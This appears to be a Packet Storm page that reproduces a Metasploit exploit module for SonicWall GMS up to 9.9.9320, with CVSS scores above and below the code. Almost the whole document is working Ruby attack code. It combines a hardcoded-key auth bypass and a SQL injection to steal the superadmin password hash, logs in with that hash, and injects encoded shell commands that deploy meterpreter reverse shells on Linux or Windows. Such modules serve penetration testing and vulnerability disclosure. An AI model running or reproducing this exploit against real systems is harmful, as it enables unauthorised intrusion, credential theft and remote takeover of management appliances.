Lucene search

K
packetstormRon Bowes, fulmetalpackets, metasploit.comPACKETSTORM:174571
HistorySep 08, 2023 - 12:00 a.m.

Sonicwall GMS 9.9.9320 Remote Code Execution

2023-09-0800:00:00
Ron Bowes, fulmetalpackets, metasploit.com
packetstormsecurity.com
183
sonicwall
gms
remote code execution
auth bypass
sql injection
shell injection
cve-2023-34124
cve-2023-34133
cve-2023-34132
cve-2023-34127

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

38.0%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html  
  
# We can actually use the title to identify which platform we're on  
TITLE_WINDOWS = 'SonicWall Universal Management Host'  
TITLE_LINUX = 'SonicWall Universal Management Appliance'  
  
# Secret key (from com.sonicwall.ws.servlet.auth.MSWAuthenticator)  
SECRET_KEY = '?~!@#$%^^()'  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sonicwall',  
'Description' => %q{  
This module exploits a series of vulnerabilities - including auth  
bypass, SQL injection, and shell injection - to obtain remote code  
execution on SonicWall GMS versions <= 9.9.9320.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'fulmetalpackets <[email protected]>', # MSF module, analysis  
'Ron Bowes <[email protected]>' # MSF module, original PoC, analysis  
],  
'References' => [  
[ 'URL', 'https://www.rapid7.com/blog/post/2023/07/13/etr-sonicwall-recommends-urgent-patching-for-gms-and-analytics-cves/'],  
[ 'CVE', '2023-34124'],  
[ 'CVE', '2023-34133'],  
[ 'CVE', '2023-34132'],  
[ 'CVE', '2023-34127']  
],  
'Privileged' => true,  
'Targets' => [  
[  
'Linux Dropper',  
{  
'Platform' => ['linux'],  
'Arch' => [ARCH_X64],  
'Type' => :dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'WritableDir' => '/tmp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => ['win'],  
'Arch' => [ARCH_CMD],  
'Type' => :cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',  
'WritableDir' => '%TEMP%'  
}  
}  
],  
[  
'Linux Command',  
{  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_CMD],  
'Type' => :cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/generic'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
  
'DisclosureDate' => '2023-07-12',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
},  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => '443'  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The root URI of the Sonicwall appliance', '/']),  
]  
)  
  
register_advanced_options([  
# This varies by target, so don't define the default here  
OptString.new('WritableDir', [true, 'A directory where we can write files']),  
])  
end  
  
def check  
vprint_status("Validating SonicWall GMS is running on URI: #{target_uri.path}")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
)  
  
# Basic sanity checks - the path should return a HTTP/200  
return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?  
return CheckCode::Unknown("Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200  
  
# Ensure we're hitting plausible software  
return CheckCode::Detected("Running: #{::Regexp.last_match(1)}") if res.body =~ /(SonicWall Universal Management Suite [^<]+)</  
  
# Otherwise, probably safe?  
CheckCode::Safe('Does not appear to be running SonicWall GMS')  
end  
  
# Exploits CVE-2023-34133 (SQL injection) + CVE-2023-34124 (auth bypass) to  
# get a password hash  
def get_password_hash  
# attempt a sqli.  
vprint_status('Attempting to use SQL injection to grab the password hash for the superadmin user...')  
  
# SQL injection question to fetch the admin password  
query = "' union select " +  
  
# This must be a valid DOMAIN, which we can thankfully fetch from the DB  
'(select ID from SGMSDB.DOMAINS limit 1), ' +  
  
# These fields don't matter  
"'', '', '', '', '', " +  
  
# This field is returned, so use it to get the id and password for our  
# the super user, if possible  
"(select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0)," +  
  
# The rest of the fields don't matter, end with a single quote to finish with a clean query  
"'', '', '"  
vprint_status("Generated SQL injection: #{query}")  
  
# We need to sign our query with the SECRET_KEY  
token = Base64.strict_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.const_get('SHA1').new, SECRET_KEY, query))  
vprint_status("Generated a token using built-in secret key: #{token}")  
  
# Build the URI  
# Note that encoding space to '+' doesn't work, so we replace it with '%20'  
uri = normalize_uri(target_uri.path, 'ws/msw/tenant', CGI.escape(query).gsub(/\+/, '%20'))  
  
# Do it!  
print_status('Sending SQL injection request to get the username/hash...')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri,  
'headers' => {  
'Auth' => '{"user": "system", "hash": "' + token + '"}'  
}  
)  
  
# Sanity checks  
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") if res.code != 200  
fail_with(Failure::UnexpectedReply, "Service didn't return a JSON response") if res.get_json_document.empty?  
  
# This field has the SQL injection response  
hash = res.get_json_document['alias']  
  
# If the server responds with an error, it has no 'alias' field so the key  
# is missing entirely (this is where it fails against patched targets)  
fail_with(Failure::NotVulnerable, "SQL injection failed - service probably isn't vulnerable (or isn't configured)") if hash.nil?  
  
# If alias is present but contains nothing, that means our query got no  
# results (probably there are no active users, or something?)  
fail_with(Failure::UnexpectedReply, 'SQL injection appeared to work, but no users returned - server might not have an admin account?') if hash.empty?  
  
# If there's no ':' in the response, something super weird happened  
fail_with(Failure::UnexpectedReply, 'SQL injection returned the wrong value: no username or hash') if !hash.include?(':')  
  
username, hash = hash.split(/:/, 2)  
print_good("Found an account: #{username}:#{hash}")  
  
[username, hash]  
end  
  
# Exploits CVE-2023-34132 (pass the hash)  
def authenticate(username, hash)  
# Grab server hashing token  
vprint_status('Grabbing server hashing token...')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/appliance/login'),  
'keep_cookies' => true  
)  
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?  
  
# Look for the getPwdHash function call, as it contains the token we need  
if res.body.match(/getPwdHash.*,'([0-9]+)'/).nil?  
fail_with(Failure::UnexpectedReply, 'Could not get the server token for authentication')  
end  
  
server_token = ::Regexp.last_match(1)  
vprint_status("Got the server-side token: #{server_token}")  
  
# Generate the client_hash by combining the server token + the stolen  
# password hash  
client_hash = Digest::MD5.hexdigest(server_token + hash)  
vprint_status("Generated client token: #{client_hash}")  
  
# Send the token  
print_status('Attempting to authenticate with the client token + password hash...')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),  
'keep_cookies' => true,  
'vars_post' => {  
'action' => 'login',  
'clientHash' => client_hash,  
'applianceUser' => username  
}  
})  
  
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?  
  
# Check the title to make sure it worked  
html = res.get_html_document  
title = html.at('title').text  
  
# We can identify the platform based on the title  
if title == TITLE_LINUX  
print_good("Successfully logged in as #{username} (Linux detected!)")  
return Msf::Module::Platform::Linux  
elsif title == TITLE_WINDOWS  
print_good("Successfully logged in as #{username} (Windows detected!)")  
return Msf::Module::Platform::Windows  
end  
  
fail_with(Failure::UnexpectedReply, "Authentication appears to have failed! Title was \"#{title}\", which is not recognized as successful")  
end  
  
def execute_command_windows(cmd)  
vprint_status("Encoding (Windows) command: #{cmd}")  
  
# While this is a shell command injection issue, an aggressive XSS filter  
# prevents us from using a lot of important characters such as quotes and  
# plus and ampersands and stuff. We can't even use Base64, because we can't  
# use the + sign!  
#  
# We discovered that we could encode the command as integers, then use  
# powershell to decode + execute it, so that's what this does.  
cmd = "cmd.exe /c #{Msf::Post::Windows.escape_powershell_literal(cmd).gsub(/&/, '"&"')}"  
encoded_cmd = "powershell IEX ([System.Text.Encoding]::UTF8.GetString([byte[]]@(#{cmd.bytes.join(',')})))"  
  
# Run the command  
vprint_status("Running shell command: #{cmd}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),  
'keep_cookies' => true,  
'vars_post' => {  
'action' => 'file_system',  
'task' => 'search',  
'searchFolder' => 'C:\\GMSVP\\etc\\',  
'searchFilter' => "|#{encoded_cmd}| rem "  
}  
})  
  
# This doesn't work, because our payload blocks and it eventually fails  
fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?  
fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')  
  
print_good('Payload sent!')  
end  
  
def execute_command_linux(cmd)  
vprint_status('Encoding (Linux) payload')  
  
# Generate a filename  
payload_file = File.join(datastore['WritableDir'], ".#{Rex::Text.rand_text_alpha_lower(8)}")  
  
# Wrap the command so we can execute arbitrary commands. There are several  
# difficulties here, the first of which is that we don't have much in the  
# way of tools. We're missing curl, wget, base64, python, ruby, even perl!  
# The best tool I could find for staging a payload is uudecode, so we use  
# that. (I noticed later that telnet exists, which could be another option)  
#  
# The good news is, with uudecode, we can send a base64 payload. The bad  
# news is, we can't use '+', which means we can't use pure base64! To work  
# around that, we replace '+' with '@', then use a bit of Bash magic to  
# put it back! We also can't use quotes, so we have to do a mountain of  
# escaping instead. The default shell is also /bin/sh, so we need to run  
# bash explicitly for the `$()` substitutions to work.  
cmd = [  
# Build a command that runs in bash (but don't use quotes!)  
'bash -c ',  
  
# Escape all this for bash  
Shellwords.escape([  
# Use `uudecode` to get a '+' into a variable  
"PLUS=$(echo -e begin-base64\ 755\ a\\\\nKwee\\\\n==== | uudecode -o-);",  
  
# Build a new uuencode file (encoded in base64) with the payload  
"echo -e begin-base64 755 #{Shellwords.escape(payload_file)}\\\\n",  
  
# Encode the payload as base64, but replace + with a variable  
"#{Base64.strict_encode64(cmd).gsub(/\+/, '${PLUS}')}\\\\n",  
  
# Pipe into uudecode  
'==== | uudecode;',  
  
# Run in the background with coproc  
"coproc #{Shellwords.escape(payload_file)};",  
  
# Delete the payload file  
"rm #{payload_file}"  
].join)  
].join  
  
# Run it!  
vprint_status("Encoded shell command: #{cmd}")  
print_status('Attempting to execute the shell injection payload')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),  
'keep_cookies' => true,  
'vars_post' => {  
'action' => 'file_system',  
'task' => 'search',  
'searchFolder' => '/opt/GMSVP/etc/',  
'searchFilter' => ";#{cmd}#"  
}  
})  
  
# This doesn't work, because our payload blocks and it eventually fails  
fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?  
fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')  
  
print_good('Payload sent!')  
end  
  
def exploit  
# Get the password hash (from SQL injection + auth bypass)  
username, hash = get_password_hash  
  
# Use pass-the-hash to log in using that hash  
detected_platform = authenticate(username, hash)  
  
# Sanity-check the target  
if !datastore['ForceExploit'] && !target.platform.platforms.include?(detected_platform)  
fail_with(Failure::BadConfig, "The host appears to be #{detected_platform}, which the target #{target.name} does not support; please choose the appropriate target (or set ForceExploit to true)")  
end  
  
# Generate a payload based on the target type  
case target['Type']  
when :cmd  
my_payload = payload.encoded  
when :dropper  
my_payload = generate_payload_exe  
else  
fail_with(Failure::BadConfig, "Unknown target type: #{target.type}")  
end  
  
# Run a command, using the platform specified in the target  
if target.platform.platforms.include?(Msf::Module::Platform::Linux)  
execute_command_linux(my_payload)  
elsif target.platform.platforms.include?(Msf::Module::Platform::Windows)  
execute_command_windows(my_payload)  
else  
fail_with(Failure::Unknown, "Unknown platform: #{platform}")  
end  
end  
end  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.001 Low

EPSS

Percentile

38.0%